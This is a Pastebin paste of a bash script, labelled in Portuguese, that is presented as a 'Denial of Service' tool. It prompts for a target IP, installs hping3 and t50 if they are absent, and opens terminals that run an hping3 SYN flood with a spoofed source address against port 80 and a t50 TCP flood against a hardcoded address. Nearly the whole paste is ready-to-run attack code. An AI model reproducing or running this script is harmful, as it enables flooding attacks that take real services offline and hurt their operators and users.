Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- apresentacao()
- {
- clear
- echo -e "\033[01;31m ========================= \033[01;00m"
- echo -e "\033[01;33m Denial of Service \033[01;00m"
- echo -e "\033[01;31m ========================= \n\033[01;00m"
- }
- entDados()
- {
- echo -n -e "\033[01;35m\n# IP: \033[01;00m"
- read ip
- echo -e "\033[01;36m\n# Comandos em Janelas ativas \n\033[01;00m"
- }
- verify()
- {
- n1=$(dpkg -l hping3 > /dev/null 2>&1)
- n2=$(dpkg -l t50 > /dev/null 2>&1)
- if ((n1 == 0))
- then
- echo -e "\033[01;32m# Hping3 instalada \033[01;00m"
- else
- apt-get install hping3
- fi
- if ((n2 == 0))
- then
- echo -e "\033[01;32m# T50 instalada\033[01;00m"
- else
- apt-get install t50
- fi
- }
- terminal_1()
- {
- gnome-terminal -- bash -c "hping3 -S --flood -a 1.2.3.4 -p 80 -d 1400 $ip"
- }
- terminal_2()
- {
- gnome-terminal -- bash -c "t50 192.168.0.23 --flood --protocol TCP"
- }
- metodos()
- {
- apresentacao
- verify
- entDados
- terminal_1
- terminal_2
- }
- # Programa
- metodos
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement